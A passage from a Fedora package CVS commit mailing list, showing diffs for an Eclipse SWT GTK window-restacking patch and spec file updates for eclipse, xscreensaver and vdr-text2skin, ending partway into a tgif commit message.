+			* Feature in X. If the receiver is a top level, XConfigureWindow ()
+			* will fail (with a BadMatch error) for top level shells because top
+			* level shells are reparented by the window manager and do not share
+			* the same X window parent.  This is the correct behavior but it is
+			* unexpected.  The fix is to use XReconfigureWMWindow () instead.
+			* When the receiver is not a top level shell, XReconfigureWMWindow ()
+			* behaves the same as XConfigureWindow ().
+			*/
+			int /*long*/ xDisplay = OS.gdk_x11_drawable_get_xdisplay (window);
+			int /*long*/ xWindow = OS.gdk_x11_drawable_get_xid (window);
+			int xScreen = OS.XDefaultScreen (xDisplay);
+			int flags = OS.CWStackMode | OS.CWSibling;			
+			XWindowChanges changes = new XWindowChanges ();
+			changes.sibling = OS.gdk_x11_drawable_get_xid (sibling);
+			changes.stack_mode = above ? OS.Above : OS.Below;
+			OS.XReconfigureWMWindow (xDisplay, xWindow, xScreen, flags, changes);
+	    }
+	}
+
 boolean sendDragEvent (int button, int stateMask, int x, int y, boolean isStateMask) {
 	Event event = new Event ();
 	event.button = button;
@@ -3682,15 +3706,7 @@
 			if (!OS.GDK_WINDOWING_X11 ()) {
 				OS.gdk_window_raise (enableWindow);
 			} else {
-				int /*long*/ topWindow = OS.GTK_WIDGET_WINDOW (topHandle);			
-				int /*long*/ xDisplay = OS.gdk_x11_drawable_get_xdisplay (topWindow);
-				int /*long*/ xWindow = OS.gdk_x11_drawable_get_xid (enableWindow);
-				int xScreen = OS.XDefaultScreen (xDisplay);
-				int flags = OS.CWStackMode | OS.CWSibling;			
-				XWindowChanges changes = new XWindowChanges ();
-				changes.sibling = OS.gdk_x11_drawable_get_xid (topWindow);
-				changes.stack_mode = OS.Above;
-				OS.XReconfigureWMWindow (xDisplay, xWindow, xScreen, flags, changes);
+				restackWindow (enableWindow, OS.GTK_WIDGET_WINDOW (topHandle), true);
 			}
 			if (OS.GTK_WIDGET_VISIBLE (topHandle)) OS.gdk_window_show_unraised (enableWindow);
 		}
@@ -4170,29 +4186,12 @@
 				OS.gdk_window_lower (window);
 			}
 		} else {
-			XWindowChanges changes = new XWindowChanges ();
-			changes.sibling = OS.gdk_x11_drawable_get_xid (siblingWindow != 0 ? siblingWindow : redrawWindow);
-			changes.stack_mode = above ? OS.Above : OS.Below;
-			if (redrawWindow != 0 && siblingWindow == 0) changes.stack_mode = OS.Below;
-			int /*long*/ xDisplay = OS.gdk_x11_drawable_get_xdisplay (window);
-			int /*long*/ xWindow = OS.gdk_x11_drawable_get_xid (window);
-			int xScreen = OS.XDefaultScreen (xDisplay);
-			int flags = OS.CWStackMode | OS.CWSibling;
-			/*
-			* Feature in X. If the receiver is a top level, XConfigureWindow ()
-			* will fail (with a BadMatch error) for top level shells because top
-			* level shells are reparented by the window manager and do not share
-			* the same X window parent.  This is the correct behavior but it is
-			* unexpected.  The fix is to use XReconfigureWMWindow () instead.
-			* When the receiver is not a top level shell, XReconfigureWMWindow ()
-			* behaves the same as XConfigureWindow ().
-			*/
-			OS.XReconfigureWMWindow (xDisplay, xWindow, xScreen, flags, changes);			
+			int /*long*/ siblingW = siblingWindow != 0 ? siblingWindow : redrawWindow;
+			boolean stack_mode = above;
+			if (redrawWindow != 0 && siblingWindow == 0) stack_mode = false;
+			restackWindow (window, siblingW, stack_mode);
 			if (enableWindow != 0) {
-				changes.sibling = OS.gdk_x11_drawable_get_xid (window);
-				changes.stack_mode = OS.Above;
-				xWindow = OS.gdk_x11_drawable_get_xid (enableWindow);
-				OS.XReconfigureWMWindow (xDisplay, xWindow, xScreen, flags, changes);
+				 restackWindow (enableWindow, window, true);
 			}
 		}
 	}
Index: Eclipse SWT PI/gtk/library/os_stats.h
===================================================================
RCS file: /cvsroot/eclipse/org.eclipse.swt/Eclipse SWT PI/gtk/library/os_stats.h,v
retrieving revision 1.180
diff -u -r1.180 os_stats.h
--- Eclipse SWT PI/gtk/library/os_stats.h	29 May 2009 21:30:13 -0000	1.180
+++ Eclipse SWT PI/gtk/library/os_stats.h	30 Sep 2009 16:19:54 -0000
@@ -511,6 +511,7 @@
 	_1gdk_1window_1raise_FUNC,
 	_1gdk_1window_1remove_1filter_FUNC,
 	_1gdk_1window_1resize_FUNC,
+	_1gdk_1window_1restack_FUNC,
 	_1gdk_1window_1scroll_FUNC,
 	_1gdk_1window_1set_1accept_1focus_FUNC,
 	_1gdk_1window_1set_1back_1pixmap_FUNC,
Index: Eclipse SWT PI/gtk/library/os_custom.h
===================================================================
RCS file: /cvsroot/eclipse/org.eclipse.swt/Eclipse SWT PI/gtk/library/os_custom.h,v
retrieving revision 1.80
diff -u -r1.80 os_custom.h
--- Eclipse SWT PI/gtk/library/os_custom.h	29 May 2009 21:30:14 -0000	1.80
+++ Eclipse SWT PI/gtk/library/os_custom.h	30 Sep 2009 16:19:54 -0000
@@ -112,6 +112,7 @@
 #define gtk_status_icon_set_tooltip_LIB "libgtk-x11-2.0.so.0"
 #define gtk_window_get_group_LIB "libgtk-x11-2.0.so.0"
 #define gtk_window_get_opacity_LIB "libgtk-x11-2.0.so.0"
+#define gdk_window_restack_LIB "libgdk-x11-2.0.so.0"
 #define gdk_window_set_keep_above_LIB "libgdk-x11-2.0.so.0"
 #define gdk_window_set_accept_focus_LIB "libgdk-x11-2.0.so.0"
 #define gtk_window_set_opacity_LIB "libgtk-x11-2.0.so.0"
Index: Eclipse SWT PI/gtk/library/os_stats.c
===================================================================
RCS file: /cvsroot/eclipse/org.eclipse.swt/Eclipse SWT PI/gtk/library/os_stats.c,v
retrieving revision 1.180
diff -u -r1.180 os_stats.c
--- Eclipse SWT PI/gtk/library/os_stats.c	29 May 2009 21:30:13 -0000	1.180
+++ Eclipse SWT PI/gtk/library/os_stats.c	30 Sep 2009 16:19:54 -0000
@@ -8,7 +8,7 @@
  * the LGPL accompanying this distribution and there is any conflict
  * between the two license versions, the terms of the LGPL accompanying
  * this distribution shall govern.
- * 
+ *
  * Contributors:
  *     IBM Corporation - initial API and implementation
  *******************************************************************************/
@@ -18,8 +18,8 @@
 
 #ifdef NATIVE_STATS
 
-int OS_nativeFunctionCount = 1291;
-int OS_nativeFunctionCallCount[1291];
+int OS_nativeFunctionCount = 1292;
+int OS_nativeFunctionCallCount[1292];
 char * OS_nativeFunctionNames[] = {
 #ifndef JNI64
 	"Call__IIII",
@@ -503,6 +503,7 @@
 	"_1gdk_1window_1raise",
 	"_1gdk_1window_1remove_1filter",
 	"_1gdk_1window_1resize",
+	"_1gdk_1window_1restack",
 	"_1gdk_1window_1scroll",
 	"_1gdk_1window_1set_1accept_1focus",
 	"_1gdk_1window_1set_1back_1pixmap",
Index: Eclipse SWT PI/gtk/library/os.c
===================================================================
RCS file: /cvsroot/eclipse/org.eclipse.swt/Eclipse SWT PI/gtk/library/os.c,v
retrieving revision 1.272
diff -u -r1.272 os.c
--- Eclipse SWT PI/gtk/library/os.c	29 May 2009 21:30:14 -0000	1.272
+++ Eclipse SWT PI/gtk/library/os.c	30 Sep 2009 16:19:54 -0000
@@ -5944,6 +5944,24 @@
 }
 #endif
 
+#ifndef NO__1gdk_1window_1restack
+JNIEXPORT void JNICALL OS_NATIVE(_1gdk_1window_1restack)
+	(JNIEnv *env, jclass that, jintLong arg0, jintLong arg1, jboolean arg2)
+{
+	OS_NATIVE_ENTER(env, that, _1gdk_1window_1restack_FUNC);
+/*
+	gdk_window_restack((GdkWindow *)arg0, (GdkWindow *)arg1, (gboolean)arg2);
+*/
+	{
+		LOAD_FUNCTION(fp, gdk_window_restack)
+		if (fp) {
+			((void (CALLING_CONVENTION*)(GdkWindow *, GdkWindow *, gboolean))fp)((GdkWindow *)arg0, (GdkWindow *)arg1, (gboolean)arg2);
+		}
+	}
+	OS_NATIVE_EXIT(env, that, _1gdk_1window_1restack_FUNC);
+}
+#endif
+
 #ifndef NO__1gdk_1window_1scroll
 JNIEXPORT void JNICALL OS_NATIVE(_1gdk_1window_1scroll)
 	(JNIEnv *env, jclass that, jintLong arg0, jint arg1, jint arg2)
Index: Eclipse SWT PI/gtk/org/eclipse/swt/internal/gtk/OS.java
===================================================================
RCS file: /cvsroot/eclipse/org.eclipse.swt/Eclipse SWT PI/gtk/org/eclipse/swt/internal/gtk/OS.java,v
retrieving revision 1.525.2.1
diff -u -r1.525.2.1 OS.java
--- Eclipse SWT PI/gtk/org/eclipse/swt/internal/gtk/OS.java	20 Aug 2009 19:16:37 -0000	1.525.2.1
+++ Eclipse SWT PI/gtk/org/eclipse/swt/internal/gtk/OS.java	30 Sep 2009 16:19:55 -0000
@@ -4887,6 +4887,21 @@
 		lock.unlock();
 	}
 }
+/** 
+ * @method flags=dynamic
+ * @param window cast=(GdkWindow *)
+ * @param sibling cast=(GdkWindow *)
+ * @param above cast=(gboolean)
+ */
+public static final native void _gdk_window_restack(int /*long*/ window, int /*long*/ sibling, boolean above);
+public static final void gdk_window_restack(int /*long*/ window, int /*long*/ sibling, boolean above) {
+	lock.lock();
+	try {
+		_gdk_window_restack(window, sibling, above);
+	} finally {
+		lock.unlock();
+	}
+}
 /** @param window cast=(GdkWindow *) */
 public static final native void _gdk_window_scroll(int /*long*/ window, int dx, int dy);
 public static final void gdk_window_scroll(int /*long*/ window, int dx, int dy) {


Index: eclipse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse/devel/eclipse.spec,v
retrieving revision 1.673
retrieving revision 1.674
diff -u -p -r1.673 -r1.674
--- eclipse.spec	5 Oct 2009 08:41:33 -0000	1.673
+++ eclipse.spec	7 Oct 2009 19:59:11 -0000	1.674
@@ -30,7 +30,7 @@ Epoch:  1
 Summary:        An open, extensible IDE
 Name:           eclipse
 Version:        %{eclipse_majmin}.%{eclipse_micro}
-Release:        2%{?dist}
+Release:        3%{?dist}
 License:        EPL
 Group:          Text Editors/Integrated Development Environments (IDE)
 URL:            http://www.eclipse.org/
@@ -73,6 +73,10 @@ Patch6:        %{name}-target-platform-t
 # Already applied in eclipse-build upstream rev. #23023
 Patch7:        %{name}-addusrsharedropins.patch
 
+# https://bugs.eclipse.org/bugs/show_bug.cgi?id=287307
+# Already applied in eclipse-build upstream
+Patch8:        %{name}-gtk2.18zorder.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  ant
 BuildRequires:  jpackage-utils >= 0:1.5, make, gcc
@@ -526,6 +530,10 @@ popd
 %patch7 -p0
 popd
 
+pushd build/eclipse-R3_5_1-fetched-src/plugins/org.eclipse.swt
+%patch8 -p0
+popd
+
 %build
 ORIGCLASSPATH=$CLASSPATH
 export JAVA_HOME=%{java_home}
@@ -1294,6 +1302,9 @@ fi
 #%{_libdir}/%{name}/configuration/org.eclipse.equinox.source
 
 %changelog
+* Wed Oct 07 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-3
+- Add patch for bugs.eclipse.org/287307
+
 * Mon Oct 5 2009 Alexander Kurtakov <akurtako at redhat.com> 1:3.5.1-2
 - Add /usr/share/eclipse/dropins to dropins locations.
 



From mtasaka at fedoraproject.org  Wed Oct  7 20:33:55 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:33:55 +0000 (UTC)
Subject: rpms/xscreensaver/F-12 xscreensaver.spec,1.98,1.99
Message-ID: <20091007203356.108F211C0298@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/xscreensaver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26617/F-12

Modified Files:
	xscreensaver.spec 
Log Message:
* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1:5.10-2
- Restrict Autostart effect to GNOME session only (bug 517391)
- Use planet.fedoraproject.org for textURL (still the default textMode
  is "file", i.e. no net connection)



Index: xscreensaver.spec
===================================================================
RCS file: /cvs/extras/rpms/xscreensaver/F-12/xscreensaver.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- xscreensaver.spec	8 Sep 2009 05:41:04 -0000	1.98
+++ xscreensaver.spec	7 Oct 2009 20:33:55 -0000	1.99
@@ -5,7 +5,7 @@
 
 
 %define modular_conf  1
-%define fedora_rel    1
+%define fedora_rel    2
 
 %define extrarel      %{nil}
 
@@ -14,6 +14,7 @@
 %else
 %define default_text  %{_datadir}/doc/HTML/README-Accessibility
 %endif
+%define default_URL   http://planet.fedoraproject.org/rss20.xml
 
 %define pam_ver       0.80-7
 %define autoconf_ver  2.53
@@ -258,7 +259,8 @@ change_option driver/XScreenSaver.ad.in 
    lock=True \
    splash=False \
    ignoreUninstalledPrograms=True \
-   textProgram=fortune\ -s
+   textProgram=fortune\ -s \
+   textURL=%{default_URL}
 
 # Disable the following hacks by default
 # (disable, not remove)
@@ -533,12 +535,14 @@ cd ..
 %endif
 
 # Install desktop application autostart stuff
+# Add OnlyShowIn=GNOME (bug 517391)
 %if 0%{?fedora} >= 12
 mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/xdg/autostart
 install -cpm 0755 %{SOURCE11} ${RPM_BUILD_ROOT}%{_libexecdir}/
 desktop-file-install \
    --vendor "" \
    --dir ${RPM_BUILD_ROOT}%{_sysconfdir}/xdg/autostart \
+   --add-only-show-in=GNOME \
    %{SOURCE12}
 chmod 0644 ${RPM_BUILD_ROOT}%{_sysconfdir}/xdg/autostart/xscreensaver*.desktop
 
@@ -666,6 +670,11 @@ exit 0
 %defattr(-,root,root,-)
 
 %changelog
+* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1:5.10-2
+- Restrict Autostart effect to GNOME session only (bug 517391)
+- Use planet.fedoraproject.org for textURL (still the default textMode
+  is "file", i.e. no net connection)
+
 * Tue Sep  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1:5.10-1
 - Update to 5.10
 - All non Fedora-specific patches applied upstream



From mtasaka at fedoraproject.org  Wed Oct  7 20:33:55 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:33:55 +0000 (UTC)
Subject: rpms/xscreensaver/devel xscreensaver.spec,1.98,1.99
Message-ID: <20091007203356.04CF811C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/xscreensaver/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26617/devel

Modified Files:
	xscreensaver.spec 
Log Message:
* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1:5.10-2
- Restrict Autostart effect to GNOME session only (bug 517391)
- Use planet.fedoraproject.org for textURL (still the default textMode
  is "file", i.e. no net connection)



Index: xscreensaver.spec
===================================================================
RCS file: /cvs/extras/rpms/xscreensaver/devel/xscreensaver.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- xscreensaver.spec	8 Sep 2009 05:41:04 -0000	1.98
+++ xscreensaver.spec	7 Oct 2009 20:33:55 -0000	1.99
@@ -5,7 +5,7 @@
 
 
 %define modular_conf  1
-%define fedora_rel    1
+%define fedora_rel    2
 
 %define extrarel      %{nil}
 
@@ -14,6 +14,7 @@
 %else
 %define default_text  %{_datadir}/doc/HTML/README-Accessibility
 %endif
+%define default_URL   http://planet.fedoraproject.org/rss20.xml
 
 %define pam_ver       0.80-7
 %define autoconf_ver  2.53
@@ -258,7 +259,8 @@ change_option driver/XScreenSaver.ad.in 
    lock=True \
    splash=False \
    ignoreUninstalledPrograms=True \
-   textProgram=fortune\ -s
+   textProgram=fortune\ -s \
+   textURL=%{default_URL}
 
 # Disable the following hacks by default
 # (disable, not remove)
@@ -533,12 +535,14 @@ cd ..
 %endif
 
 # Install desktop application autostart stuff
+# Add OnlyShowIn=GNOME (bug 517391)
 %if 0%{?fedora} >= 12
 mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/xdg/autostart
 install -cpm 0755 %{SOURCE11} ${RPM_BUILD_ROOT}%{_libexecdir}/
 desktop-file-install \
    --vendor "" \
    --dir ${RPM_BUILD_ROOT}%{_sysconfdir}/xdg/autostart \
+   --add-only-show-in=GNOME \
    %{SOURCE12}
 chmod 0644 ${RPM_BUILD_ROOT}%{_sysconfdir}/xdg/autostart/xscreensaver*.desktop
 
@@ -666,6 +670,11 @@ exit 0
 %defattr(-,root,root,-)
 
 %changelog
+* Thu Oct  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1:5.10-2
+- Restrict Autostart effect to GNOME session only (bug 517391)
+- Use planet.fedoraproject.org for textURL (still the default textMode
+  is "file", i.e. no net connection)
+
 * Tue Sep  8 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1:5.10-1
 - Update to 5.10
 - All non Fedora-specific patches applied upstream



From scop at fedoraproject.org  Wed Oct  7 20:34:28 2009
From: scop at fedoraproject.org (=?utf-8?q?Ville_Skytt=C3=A4?=)
Date: Wed,  7 Oct 2009 20:34:28 +0000 (UTC)
Subject: rpms/vdr-text2skin/devel .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 vdr-text2skin-1.3-skindir.patch, 1.1, 1.2 vdr-text2skin.spec,
	1.10, 1.11
Message-ID: <20091007203428.12CB011C00E6@cvs1.fedora.phx.redhat.com>

Author: scop

Update of /cvs/pkgs/rpms/vdr-text2skin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27270

Modified Files:
	.cvsignore sources vdr-text2skin-1.3-skindir.patch 
	vdr-text2skin.spec 
Log Message:
* Wed Oct  7 2009 Ville Skytt? <ville.skytta at iki.fi> - 1.3-1
- Update to 1.3 (#527682).
- Filter out autoprovided libvdr-*.so.* (if %filter_setup is available).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-text2skin/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	1 Sep 2009 20:23:41 -0000	1.5
+++ .cvsignore	7 Oct 2009 20:34:26 -0000	1.6
@@ -1 +1 @@
-vdr-plugin-text2skin-97c95bc.tar.gz
+vdr-text2skin-1.3.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-text2skin/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	1 Sep 2009 20:23:41 -0000	1.5
+++ sources	7 Oct 2009 20:34:27 -0000	1.6
@@ -1 +1 @@
-4f2c86e5a12283ef7bb159ae29794d61  vdr-plugin-text2skin-97c95bc.tar.gz
+39f3354b5ae04ee41cb45543de858ec2  vdr-text2skin-1.3.tgz

vdr-text2skin-1.3-skindir.patch:
 README    |    3 +++
 README.de |    3 +++
 common.c  |    2 +-
 3 files changed, 7 insertions(+), 1 deletion(-)

Index: vdr-text2skin-1.3-skindir.patch
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-text2skin/devel/vdr-text2skin-1.3-skindir.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- vdr-text2skin-1.3-skindir.patch	1 Sep 2009 20:23:41 -0000	1.1
+++ vdr-text2skin-1.3-skindir.patch	7 Oct 2009 20:34:27 -0000	1.2
@@ -1,6 +1,6 @@
-diff -up vdr-plugin-text2skin/common.c.orig vdr-plugin-text2skin/common.c
---- vdr-plugin-text2skin/common.c.orig	2009-08-22 01:11:50.000000000 +0300
-+++ vdr-plugin-text2skin/common.c	2009-09-01 22:31:23.000000000 +0300
+diff -up text2skin-1.3/common.c~ text2skin-1.3/common.c
+--- text2skin-1.3/common.c~	2009-07-17 02:18:57.000000000 +0300
++++ text2skin-1.3/common.c	2009-10-07 23:19:34.000000000 +0300
 @@ -14,7 +14,7 @@
  const std::string &SkinPath(void) 
  {
@@ -10,22 +10,9 @@ diff -up vdr-plugin-text2skin/common.c.o
  	return path;
  }
  
-diff -up vdr-plugin-text2skin/README.de.orig vdr-plugin-text2skin/README.de
---- vdr-plugin-text2skin/README.de.orig	2009-08-22 01:11:50.000000000 +0300
-+++ vdr-plugin-text2skin/README.de	2009-09-01 22:31:23.000000000 +0300
-@@ -70,6 +70,9 @@ root at linux # ./vdr -P text2skin
- Wo die Skins hingeh?ren:
- ------------------------
- 
-+*** rpm package note: this text2skin package has been patched to load skins
-+*** from /usr/share/vdr/text2skin instead of the path documented below.
-+
- Wie Sie vielleicht wissen, hat VDR einen Unterordner "plugins" innerhalb seines
- Konfigurationsordners, in dem alle Dateien, die zu Plugins geh?ren, enthalten
- sein sollten. Wenn Sie nicht wissen, wo das sein k?nnte, schauen Sie in dem
-diff -up vdr-plugin-text2skin/README.orig vdr-plugin-text2skin/README
---- vdr-plugin-text2skin/README.orig	2009-08-22 01:11:50.000000000 +0300
-+++ vdr-plugin-text2skin/README	2009-09-01 22:31:23.000000000 +0300
+diff -up text2skin-1.3/README~ text2skin-1.3/README
+--- text2skin-1.3/README~	2009-07-17 02:16:35.000000000 +0300
++++ text2skin-1.3/README	2009-10-07 23:19:34.000000000 +0300
 @@ -68,6 +68,9 @@ root at linux # ./vdr -P text2skin
  Where to put the skins:
  -----------------------
@@ -36,3 +23,16 @@ diff -up vdr-plugin-text2skin/README.ori
  As you might know, VDR has a subfolder "plugins" inside it's configuration 
  folder, where all plugin-related files should reside. If you don't know, where
  this could be, look into the folder you gave to VDR with the -v parameter 
+diff -up text2skin-1.3/README.de~ text2skin-1.3/README.de
+--- text2skin-1.3/README.de~	2009-09-06 18:31:27.000000000 +0300
++++ text2skin-1.3/README.de	2009-10-07 23:19:34.000000000 +0300
+@@ -73,6 +73,9 @@ root at linux # ./vdr -P text2skin
+ Wo die Skins hingeh?ren:
+ ------------------------
+ 
++*** rpm package note: this text2skin package has been patched to load skins
++*** from /usr/share/vdr/text2skin instead of the path documented below.
++
+ Wie Sie vielleicht wissen, hat VDR einen Unterordner "plugins" innerhalb seines
+ Konfigurationsordners, in dem alle Dateien, die zu Plugins geh?ren, enthalten
+ sein sollten. Wenn Sie nicht wissen, wo das sein k?nnte, schauen Sie in dem


Index: vdr-text2skin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vdr-text2skin/devel/vdr-text2skin.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- vdr-text2skin.spec	1 Sep 2009 20:23:41 -0000	1.10
+++ vdr-text2skin.spec	7 Oct 2009 20:34:27 -0000	1.11
@@ -1,5 +1,4 @@
 %global pname     text2skin
-%global gitrev    97c95bc
 %global plugindir %(vdr-config --plugindir  2>/dev/null || echo ERROR)
 %global datadir   %(vdr-config --datadir    2>/dev/null || echo ERROR)
 %global apiver    %(vdr-config --apiversion 2>/dev/null || echo ERROR)
@@ -7,15 +6,14 @@
 %{!?imagelib: %global imagelib graphicsmagick}
 
 Name:           vdr-%{pname}
-Version:        1.2
-Release:        3.git%{gitrev}%{?dist}
+Version:        1.3
+Release:        1%{?dist}
 Summary:        OSD skin plugin for VDR
 
 Group:          Applications/Multimedia
 License:        GPL+
 URL:            http://projects.vdr-developer.org/projects/show/plg-text2skin
-# wget --content-disposition "http://projects.vdr-developer.org/git/?p=vdr-plugin-text2skin.git;a=snapshot;h=%{gitrev};sf=tgz"
-Source0:        vdr-plugin-%{pname}-%{gitrev}.tar.gz
+Source0:        http://projects.vdr-developer.org/attachments/download/127/%{name}-%{version}.tgz
 Source1:        %{name}.conf
 Patch0:         %{name}-1.3-skindir.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -36,6 +34,10 @@ BuildRequires:  gawk
 BuildRequires:  gettext
 Requires:       vdr(abi)%{?_isa} = %{apiver}
 
+%{?filter_setup:
+%filter_provides_in %{plugindir}/.*\.so
+%filter_setup}
+
 %description
 This plugin is designed to load and interpret a set of files
 describing the layout of VDR's on screen display and to make this
@@ -47,7 +49,7 @@ of the skin wishes.
 
 
 %prep
-%setup -q -n vdr-plugin-%{pname}
+%setup -q -n %{pname}-%{version}
 sed -e 's|/usr/share/vdr/|%{datadir}/|' %{PATCH0} | patch -p1
 chmod -x contrib/*.pl
 
@@ -87,6 +89,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Ville Skytt? <ville.skytta at iki.fi> - 1.3-1
+- Update to 1.3 (#527682).
+- Filter out autoprovided libvdr-*.so.* (if %%filter_setup is available).
+
 * Tue Sep  1 2009 Ville Skytt? <ville.skytta at iki.fi> - 1.2-3.git97c95bc
 - Update to git revision 97c95bc for several bugfixes and better fonts handling.
 - Build with GraphicsMagick instead of imlib2 by default.
@@ -97,7 +103,7 @@ rm -rf $RPM_BUILD_ROOT
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-* Thu Jul  9 2009 Ville Skytt? <ville.skytta at iki.fi> - 1.2-1
+* Thu Jul  9 2009 Ville Skytt? <ville.skytta at iki.fi> - 1.2-1
 - Update to 1.2.
 - Specfile cleanups.
 - Fix spelling errors in description.
@@ -105,44 +111,44 @@ rm -rf $RPM_BUILD_ROOT
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-24.cvsext0.10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
-* Mon Apr  7 2008 Ville Skytt? <ville.skytta at iki.fi> - 1.1-23.cvsext0.10
+* Mon Apr  7 2008 Ville Skytt? <ville.skytta at iki.fi> - 1.1-23.cvsext0.10
 - Update to 1.1-cvs_ext-0.10.
 - Build for VDR 1.6.0.
 
-* Sun Apr  6 2008 Ville Skytt? <ville.skytta at iki.fi> - 1.1-22.20051217cvs
+* Sun Apr  6 2008 Ville Skytt? <ville.skytta at iki.fi> - 1.1-22.20051217cvs
 - Apply VDR 1.5+ patches from e-tobi.net Debian package.
 
-* Fri Jan  4 2008 Ville Skytt? <ville.skytta at iki.fi> - 1.1-21.20051217cvs
+* Fri Jan  4 2008 Ville Skytt? <ville.skytta at iki.fi> - 1.1-21.20051217cvs
 - Fix build with gcc 4.3's cleaned up C++ headers.
 
-* Wed Aug 22 2007 Ville Skytt? <ville.skytta at iki.fi> - 1.1-20.20051217cvs
+* Wed Aug 22 2007 Ville Skytt? <ville.skytta at iki.fi> - 1.1-20.20051217cvs
 - BuildRequires: gawk for extracting APIVERSION.
 
-* Tue Aug  7 2007 Ville Skytt? <ville.skytta at iki.fi> - 1.1-19.20051217cvs
+* Tue Aug  7 2007 Ville Skytt? <ville.skytta at iki.fi> - 1.1-19.20051217cvs
 - License: GPL+
 
-* Sun Apr  8 2007 Ville Skytt? <ville.skytta at iki.fi> - 1.1-18.20051217cvs
+* Sun Apr  8 2007 Ville Skytt? <ville.skytta at iki.fi> - 1.1-18.20051217cvs
 - Grab potential XML parse buffer overflow fix from upstream CVS.
 
-* Sun Nov 19 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-16.20051217cvs
+* Sun Nov 19 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-16.20051217cvs
 - Migrate real skins directory to /usr/share/vdr/text2skin.
 - Patch for freetype 2.2 compatibility.
 
-* Sat Nov  4 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-15.20051217
+* Sat Nov  4 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-15.20051217
 - Build with imlib2 instead of imagemagick by default due to #212478.
 - Build for VDR 1.4.4.
 
 * Fri Oct 06 2006 Thorsten Leemhuis <fedora [AT] leemhuis [DOT] info> 1.1-14
 - rebuilt for unwind info generation, broken in gcc-4.1.1-21
 
-* Sat Sep 23 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-13.20051217
+* Sat Sep 23 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-13.20051217
 - Rebuild for VDR 1.4.3.
 
-* Sun Aug  6 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-12.20051217
+* Sun Aug  6 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-12.20051217
 - Rebuild for VDR 1.4.1-3.
 
-* Sun Jun 11 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-11.20051217
+* Sun Jun 11 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-11.20051217
 - Rebuild for VDR 1.4.1.
 
-* Sun Apr 30 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-10.20051217
+* Sun Apr 30 2006 Ville Skytt? <ville.skytta at iki.fi> - 1.1-10.20051217
 - Rebuild for VDR 1.4.0.



From mtasaka at fedoraproject.org  Wed Oct  7 20:44:47 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed,  7 Oct 2009 20:44:47 +0000 (UTC)
Subject: rpms/tgif/F-11 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 tgif.spec, 1.9,
	1.10 tgif-4.1.35-overthespot_fix.patch, 1.1,
	NONE tgif-4.1.41.ja.po, 1.1,
	NONE tgif-4.1.44-xim-bad-focus.patch, 1.1,
	NONE tgif-4.1.45-fontcheck.patch, 1.1,
	NONE tgif-QPL-4.1.45-open-with-mode.patch, 1.1,
	NONE tgif-wrapper.sh, 1.1, NONE tgif.desktop, 1.1, NONE tgif.gif,
	1.1, NONE
Message-ID: <20091007204447.5632911C00E6@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/tgif/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31573/F-11

Modified Files:
	.cvsignore sources tgif.spec 
Removed Files:
	tgif-4.1.35-overthespot_fix.patch tgif-4.1.41.ja.po 
